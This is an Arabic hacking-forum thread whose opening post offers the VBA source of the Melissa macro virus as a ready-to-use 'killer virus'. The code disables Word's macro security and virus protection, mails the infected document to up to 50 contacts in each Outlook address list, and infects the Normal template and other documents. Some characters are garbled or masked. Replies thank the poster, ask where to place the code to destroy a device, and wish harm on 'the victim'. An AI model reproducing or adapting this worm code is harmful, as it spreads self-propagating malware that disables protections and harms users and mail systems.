اشترك في قناتنا ليصلك جديدنا

اشترك في قناتنا على اليوتيوب ليصلك جديدنا

كذلك الاعجاب بصفحتنا على الفيسبوك

فيروس عربي قاتل حصريا على جيوش الهكرز

فيروس عربي قاتل حصريا على جيوش الهكرز


صفحة 1 من 3 123 الأخيرةالأخيرة
النتائج 1 إلى 10 من 25

الموضوع: فيروس عربي قاتل حصريا على جيوش الهكرز

  1. #1
    هكر نشيط Array الصورة الرمزية XvvX
    تاريخ التسجيل
    Mar 2010
    المشاركات
    175

    new فيروس عربي قاتل حصريا على جيوش الهكرز



    السلام عليكم ورحمة الله وبركاته
    اليوم أقدم لكم كود فايروس ميليسا ولأول مرة
    لن أطيل عليكم
    الكود من هنا :
    كود:
    Private Sub AutoOpen() On Error Resume Next
     
    p$ = "clone"
     
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o  rd\e curity", "Level") <> "" Then
     
    CommandBars("Macro").Controls("Security...").Enabl ed = False
     
    System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o  rd\e curity", "Level") = 1&
     
    Else
     
    p$ = "clone"
     
    CommandBars("Tools").Controls("Macro").Enabled = False
     
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
     
    End If
     
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
     
    Set UngaDasOutlook = CreateObject("Outlook.Application")
     
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
     
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
     
    If UngaDasOutlook = "Outlook" Then
     
    DasMapiName.Logon "profile", "password"
     
    For y = 1 To DasMapiName.AddressLists.Count
     
    Set AddyBook = DasMapiName.AddressLists(y)
     
    x = 1
     
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
     
    For oo = 1 To AddyBook.AddressEntries.Count
     
    Peep = AddyBook.AddressEntries(x)
     
    BreakUmOffASlice.Recipients.Add Peep
     
    x = x + 1
     
    If x > 50 Then oo = AddyBook.AddressEntries.Count
     
    Next oo
     
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
     
    BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"
     
    BreakUmOffASlice.Attachments.Add Active********.FullName
     
    BreakUmOffASlice.Send
     
    Peep = ""
     
    Next y
     
    DasMapiName.Logoff
     
    End If
     
    p$ = "clone"
     
    System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
     
    End If
     
    Set ADI1 = Active********.VBProject.VBComponents.Item(1)
     
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
     
    NTCL = NTI1.CodeModule.CountOfLines
     
    ADCL = ADI1.CodeModule.CountOfLines
     
    BGN = 2
     
    If ADI1.Name <> "Melissa" Then
     
    If ADCL > 0 Then _
     
    ADI1.CodeModule.DeleteLines 1, ADCL
     
    Set ToInfect = ADI1
     
    ADI1.Name = "Melissa"
     
    DoAD = True
     
    End If
     
    If NTI1.Name <> "Melissa" Then
     
    If NTCL > 0 Then _
     
    NTI1.CodeModule.DeleteLines 1, NTCL
     
    Set ToInfect = NTI1
     
    NTI1.Name = "Melissa"
     
    DoNT = True
     
    End If
     
    If DoNT <> True And DoAD <> True Then GoTo CYA
     
    If DoNT = True Then
     
    Do While ADI1.CodeModule.Lines(1, 1) = ""
     
    ADI1.CodeModule.DeleteLines 1
     
    Loop
     
    ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
     
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
     
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
     
    BGN = BGN + 1
     
    Loop
     
    End If
     
    p$ = "clone"
     
    If DoAD = True Then
     
    Do While NTI1.CodeModule.Lines(1, 1) = ""
     
    NTI1.CodeModule.DeleteLines 1
     
    Loop
     
    ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
     
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
     
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
     
    BGN = BGN + 1
     
    Loop
     
    End If
     
    CYA:
     
    If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
     
    Active********.SaveAs FileName:=Active********.FullName
     
    ElseIf (InStr(1, Active********.Name, "********") <> False) Then
     
    Active********.Saved = True: End If
     
    'WORD/Melissa written by Kwyjibo
     
    'Clone written by Duke/SMF
     
    'Works in both Word 2000 and Word 97
     
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
     
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
     
    If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
     
    End Sub
     
    --------------------------------------------------------------------------------------------------



  2. #2
    هكر نشيط Array الصورة الرمزية XvvX
    تاريخ التسجيل
    Mar 2010
    المشاركات
    175

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    ابي تفاعل اخواني


  3. #3
    هكر متميز Array الصورة الرمزية Abdullhadi JC
    تاريخ التسجيل
    Jul 2009
    الدولة
    Underworld
    المشاركات
    1,069

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    شكراااااااااااااااااا



  4. #4

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    يعطيك آلف عافيه يالغالي عالموضوع
    تقبل مروري


  5. #5
    محظور Array
    تاريخ التسجيل
    Feb 2010
    الدولة
    السـعــوديــُـــُـے -
    المشاركات
    1,086

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكور اخوي والله يعطيك الف عافيه


  6. #6
    هكر مبتديء Array الصورة الرمزية هكرز شان
    تاريخ التسجيل
    Jul 2010
    الدولة
    القصيم - بريده
    المشاركات
    11

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    يعطيكـ العافيه اخوي ومشكوررررررررررررررررر



  7. #7
    هكر مجتهد Array الصورة الرمزية mc-prof
    تاريخ التسجيل
    Aug 2010
    الدولة
    المدينه المنوره,,
    المشاركات
    372

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكوور على الفايروس..واتمنى يكون له تأثير كبيير على الضحيه


  8. #8
    هكر مبتديء Array
    تاريخ التسجيل
    Nov 2010
    المشاركات
    1

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكوووور اخوي بس لحظة وين احط هالكود عشان ادمر الجهااز ومشكووور وماتقصر


  9. #9
    هكر نشيط Array الصورة الرمزية نورالدين N
    تاريخ التسجيل
    Apr 2010
    الدولة
    العراق
    المشاركات
    172

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكور اخوي بس لحظة وين احط هالكود عشان ادمر الجهااز ومشكووور وماتقصر



  10. #10
    هكر متميز Array الصورة الرمزية هاوي حنانك
    تاريخ التسجيل
    Jun 2009
    الدولة
    أرض الحرمين
    المشاركات
    1,595

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    سلمت يدااااااااااااااااااااااا اك ,,,, والله يعطيك العافيه

    دمت في تألق وابداع


صفحة 1 من 3 123 الأخيرةالأخيرة

المواضيع المتشابهه

  1. دورة احتراف اختراق الايميلات على جيوش الهكرز حصريا
    بواسطة ديسكوا في المنتدى منتدى إختراق البريد والايميلات
    مشاركات: 34
    آخر مشاركة: 01-02-2012, 03:17 AM
  2. طلب يا جيوش الهكرز
    بواسطة هكر الفدرالي في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 5
    آخر مشاركة: 04-03-2011, 11:34 PM
  3. **حصريا على جيوش الهكرز اللعبة الرياضية Winning Eleven 2009**
    بواسطة THE DEVILS في المنتدى منتدى الالعاب - تحميل العاب
    مشاركات: 3
    آخر مشاركة: 02-11-2011, 01:24 AM
  4. بيفورست نسخه معربه ومشفره حصريا على جيوش الهكرز..
    بواسطة icon-187 في المنتدى قسم اختراق الأجهزة
    مشاركات: 84
    آخر مشاركة: 05-13-2010, 03:29 PM
  5. مشاركات: 3
    آخر مشاركة: 12-19-2009, 12:57 AM

وجد الزوار هذه الصفحة بالبحث عن:

وين تحط فيروسات عند ضحية

تحميل برنامج قاتل الفيروسات جيوش هكر

صنع فيروس ورم جيوش الهكرز

صنع فايرس قاتل ميليسا

قسم الفيروسات الجيوش

virus قاتل جيوش الهكرز

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •